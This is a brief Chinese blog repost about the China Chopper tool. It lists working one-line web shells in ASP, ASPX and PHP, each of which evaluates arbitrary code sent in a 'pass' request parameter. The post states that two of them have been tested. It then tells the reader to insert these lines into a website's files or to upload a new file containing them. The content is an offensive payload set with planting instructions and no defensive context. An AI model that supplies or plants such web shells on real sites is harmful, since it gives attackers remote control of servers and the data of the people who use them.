中国菜刀与一句话

二.实战

 

（可用）asp的一句话是：

<%eval request ("pass")%>

（可用）aspx的一句话是：

<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

（没试）php的一句话是：

<?php @eval($_POST['pass']);?>

我们可以直接将这些语句插入到网站上的某个asp/aspx/php文件上，或者直接创建一个新的文件，在里面写入这些语句，然后把文件上传到网站上即可。

转载于:https://www.cnblogs.com/gdf456/p/9585632.html